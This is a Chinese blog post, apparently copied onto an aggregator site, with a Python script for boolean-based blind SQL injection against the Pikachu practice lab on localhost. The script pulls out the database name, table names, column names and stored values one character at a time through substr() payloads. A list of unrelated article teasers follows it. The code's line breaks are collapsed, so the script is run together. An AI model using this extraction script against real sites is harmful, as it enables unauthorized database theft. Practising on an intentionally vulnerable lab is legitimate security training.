pikachu靶场(SQL注入基于布尔的盲注)python实现

import requests
from bs4 import BeautifulSoupurl = "http://localhost:8086/pikachu-master/vul/sqli/sqli_blind_b.php"def get_database_name(url):dataname = ''  # 初始化一个空字符串用于存储数据库名dict = 'abcdefghijklmnopqrstuvwxyz '  # 数据库名可能存在这些字段中的任意一个i = 1while True:for j in dict:  # 遍历dict中的字符payload = {'name': "admin' and substr(database(),%d,1) ='%s'-- " % (i, j),# 这里的substr函数用于截取数据库名的第i个字符,并与dict中的字符进行比较'submit': "%E6%9F%A5%E8%AF%A2"}response = requests.request("get", url, params=payload)  # 发送请求soup = BeautifulSoup(response.text, 'html.parser')  # 解析响应内容token = soup.find_all('p', class_="notice")[0].text  # 找到页面中的提示信息if 'uid' in token:  # 如果提示信息中包含uid,说明数据库名可能存在该字符if j != ' ':  # 如果该字符为z,说明数据库名可能存在该字符dataname += j  # 将该字符添加到数据库名中i += 1else:  # 如果该字符为 ',说明数据库名可能存在该字符,但由于该字符在数据库名中是最后一个,所以不再添加return datanamedatabase_name = get_database_name(url)
print("数据库名为:" + database_name)def get_table_name(url, database_name):table_name = ""  # 初始化一个空字符串用于存储表名dict = 'abcdefghijklmnopqrstuvwxyz, '  # 表名可能存在这些字段中的任意一个i = 1while True:for j in dict:payload = {'name': "admin' and substr((select group_concat(table_name) from information_schema.tables where table_schema='%s'),%d,1) ='%s'-- " % (database_name, i, j),# 这里的substr函数用于截取数据库名的第i个字符,并与dict中的字符进行比较'submit': "%E6%9F%A5%E8%AF%A2"}response = requests.request("get", url, params=payload)  # 发送请求soup = BeautifulSoup(response.text, 'html.parser')  # 解析响应内容token = soup.find_all('p', class_="notice")[0].text  # 找到页面中的提示信息if 'uid' in token:  # 如果提示信息中包含uid,说明表名可能存在该字符if j != ' ':table_name += ji += 1else:return table_name  # 找到表名后返回database_name = input("请输入您要查询的数据库名:")
table_name = get_table_name(url, database_name)
print("表名为:" + table_name)def get_column_name(url, database_name, table_name):column_name = ''  # 初始化一个空字符串用于存储列名dict = 'abcdefghijklmnopqrstuvwxyz, '  # 列名可能存在这些字段中的任意一个i = 1while True:for j in dict:  # 遍历dict中的字符payload = {'name': "admin' and substr((select group_concat(column_name) from information_schema.columns where table_schema='%s' and table_name='%s'),%d,1) ='%s'-- " % (database_name, table_name, i, j),# 这里的substr函数用于截取数据库名的第i个字符,并与dict中的字符进行比较'submit': "%E6%9F%A5%E8%AF%A2"}response = requests.request("get", url, params=payload)  # 发送请求soup = BeautifulSoup(response.text, 'html.parser')  # 解析响应内容token = soup.find_all('p', class_="notice")[0].text  # 找到页面中的提示信息if 'uid' in token:  # 如果提示信息中包含uid,说明列名可能存在该字符if j != ' ':  column_name += j  # 将该字符添加到列名中i += 1else:   return column_name  # 找到列名后返回table_name = input('请输入您要查询的表名:')
column_name = get_column_name(url, database_name, table_name)
print("列名为:" + column_name)def get_value(url,table_name,column_name1,column_name2):value= ''dict = 'abcdefghijklmnopqrstuvwxyz1234567890, 'i = 1while True:for j in dict:  # 遍历dict中的字符payload = {'name': "admin' and substr((select group_concat(concat(%s,',',%s)) from %s),%d,1) ='%s'-- " % (column_name1, column_name2 , table_name,i,j),# 这里的substr函数用于截取数据库名的第i个字符,并与dict中的字符进行比较'submit': "%E6%9F%A5%E8%AF%A2"}response = requests.request("get", url, params=payload)  # 发送请求soup = BeautifulSoup(response.text, 'html.parser')  # 解析响应内容token = soup.find_all('p', class_="notice")[0].text  # 找到页面中的提示信息if 'uid' in token:if j != ' ':value += ji += 1else:return valueinput_value = input('请输入您要查询的列名1:')
input_value2 = input('请输入您要查询的列名2:')
value = get_value(url, table_name, input_value, input_value2)
print("查询结果为:" + value)

执行结果

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/14545.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

docker实战之搭建MYSQL8.0主从同步

目录 环境配置容器创建主服务器创建MYSQL容器新增my.cnf文件创建用户并授权 从服务器创建MYSQL容器新增my.cnf文件重启MYSQL容器配置主从同步 验证主从同步彩蛋 MySQL 主从同步(Master-Slave Replication)是一种常用的解决方案,它允许一个主服…

Golang实现根据文件后缀删除文件和递归删除文件

概述 这个功能会非常强大,因为在日常工作中,我通常会遇到需要批量删除文件的场景,通过这个方法,再结合我的另一个 命令行开发框架,能够很轻松的开发出这个功能。 代码 package zdpgo_fileimport ("errors"…

LabVIEW与串口通讯在运行一段时间后出现数据接收中断的问题

这些问题可能与硬件、软件或通信协议有关。以下是详细的原因分析和可能的解决方案: 一、硬件原因 串口线缆或接口问题: 由于长时间使用,串口线缆可能出现接触不良或损坏。接口松动也可能导致通讯中断。 解决方案:检查并更换串口…

C语言基础-内存申请和释放

在C语言中,malloc 和 free 是用于动态内存分配和释放的函数。而在C中,new 和 delete 提供了类似的功能,但它们之间有一些重要的区别。 1. malloc 和 free malloc malloc 函数用于在堆上动态地分配指定字节数的内存。它的原型在 stdlib.h 头…

【Text2SQL 经典模型】X-SQL

论文:X-SQL: reinforce schema representation with context ⭐⭐⭐⭐ Microsoft, arXiv:1908.08113 X-SQL 与 SQLova 类似,使用 BERT style 的 PLM 来获得 representation,只是融合 NL question 和 table schema 的信息的方式不太一样&#…

一种获取java代码结构的实现思路

一种获取java代码结构的实现思路 有时,我们需要获取java文件里的代码结构,即,只需要里面的class定义、方法声明、属性定义。不需要额外的方法实现 这里提供一下实现思路: 采用语法解析器Tree-sitter对java代码进行解析,获取里面的方法实现遍历第一步获取到的方法列表,在源…

Linux c开发线程锁和条件变量使用

#include <pthread.h> #include <stdio.h> #include <unistd.h>pthread_mutex_t mutex PTHREAD_MUTEX_INITIALIZER; pthread_cond_t cond PTHREAD_COND_INITIALIZER;void* thread_function(void* arg) {printf("线程等待唤醒,锁定互斥量...\n");…

代码随想录算法训练营第十七天 | 110. 平衡二叉树、257. 二叉树的所有路径、404. 左叶子之和

[LeetCode] 110. 平衡二叉树 [LeetCode] 110. 平衡二叉树 文章解释 [LeetCode] 110. 平衡二叉树 视频解释 给定一个二叉树&#xff0c;判断它是否是 平衡二叉树 示例 1&#xff1a; 输入&#xff1a;root [3,9,20,null,null,15,7] 输出&#xff1a;true示例 2&#xff1a; 输…

HTTP 响应分割漏洞

HTTP 响应分割漏洞 1.漏洞概述2.漏洞案例 1.漏洞概述 HTTP 响应拆分发生在以下情况&#xff1a; 数据通过不受信任的来源&#xff08;最常见的是 HTTP 请求&#xff09;进入 Web 应用程序。该数据包含在发送给 Web 用户的 HTTP 响应标头中&#xff0c;且未经过恶意字符验证。…

CSS常用的两种定位方式

在CSS中&#xff0c;absolute 和 relative 是两种常用的定位方式&#xff0c;分别通过 position 属性进行设置。它们用于控制元素在页面中的位置。理解这两种定位方式对于布局和设计响应式页面非常重要。 position: relative 定义 relative 定位是相对自身原始位置进行偏移。…

Python 魂斗罗的音效和动漫效果

一、实现游戏音效 音效是游戏中不可或缺的一部分&#xff0c;它可以为游戏增添氛围和趣味性。在 Pygame 中&#xff0c;我们可以使用 pygame.mixer 模块来播放音效。下面是一个简单的示例代码&#xff0c;演示如何在游戏中播放音效&#xff1a; import pygamepygame.mixer.init…

windows平台vcpkg安装

1. 克隆vcpkg仓库 git clone https://github.com/microsoft/vcpkg 2.运行bootstrap-vcpkg.bat下载vcpkg.exe 3.运行验证 4.使用VCPKG安装OPENSSL 5.安装成功

VC++学习(1)——环境准备,参考文档等,初步入门VC++

目录 引出环境准备&#xff0c;参考文档第一讲 初步入门键盘按下的消息鼠标左键按下报错源码新建一个工程 总结 引出 VC学习&#xff08;1&#xff09;——环境准备&#xff0c;参考文档等&#xff0c;初步入门VC C是一门编程语言,他的语法标准和语言特性是全球统一的 VC是微…

计算机系统概述习题

选择题 电子计算机问世至今&#xff0c;新型计算机不断推陈出新&#xff0c;不管怎么更新&#xff0c;依然具有“存储程序”的特点&#xff0c;最早提出这种概念的是(B) A. 巴贝奇 B. 冯*诺伊曼 C. 帕斯卡 D. 贝尔 B下列描述中___是正确的。 A. 控制器能理解&#xff0c;解释…

中国主要城市房价指数数据集(2011-2024)

数据来源&#xff1a;东方财富网 时间跨度&#xff1a;2011年1月 - 2024年4月 数据范围&#xff1a;中国主要城市 包含指标&#xff1a; 日期、城市 新建商品住宅价格指数-同比 新建商品住宅价格指数-环比 新建商品住宅价格指数-定基 二手住宅价格指数-环比 二手住宅价格指…

Visual Studio 调试及快捷键

文章目录 原文连接环境一、调试器的基本使用1、更改执行流2、快速执行某一条代码断点设置条件断点查看内存信息查看调用堆栈查看寄存器信息设置监视断点调试二、快捷键一、窗口快捷键二、查找相关快捷键三、代码快捷键原文连接 【教程】visual studio debug 技巧总结 环境 一…

OpenCASCADE Draw模块TKDraw项目问题修改

1.问题 在调试Draw模块代码时&#xff0c;出现一个小问题&#xff0c;导致无法正常运行 如下&#xff1a; 2.代码跟踪 通过代码跟踪发现时一个数组越界问题&#xff0c;在此处添加了判断处理&#xff0c;程序可以正常调试

Golang使用HTTP框架zdpgo_resty实现文件下载

核心代码 代码解析&#xff1a; client.SetOutputDirectory("Downloads") 设置下载目录client.R().SetOutput("test.go").Get("http://127.0.0.1:3333/download 指定下载文件名并进行下载 // 设置输出目录路径&#xff0c;如果目录不存在&#xff…

数据结构顺序表实现通讯录

目录 1. 前言&#xff1a; 2.通讯录项目的创建 3. 通讯录的实现 3.1 通讯录的初始化 3.2 通讯录的销毁 3.3 通讯录添加数据 3.4 通讯录查找数据 3.5 通讯录展示数据 3.6 通讯录删除数据 3.7 通讯录修改数据 4. 通讯录完整代码 4.1 test.c 4.2 SeqList.h 4.3 SeqLis…

PostgreSQL学习笔记

PostgreSQL 基本概念和架构 PostgreSQL 是一个功能强大的开源对象关系数据库管理系统&#xff08;ORDBMS&#xff09;&#xff0c;其设计目标是遵循 SQL 标准&#xff0c;并提供丰富的功能&#xff0c;如复杂查询、外键、触发器、视图和事务处理。以下是 PostgreSQL 的基本概念…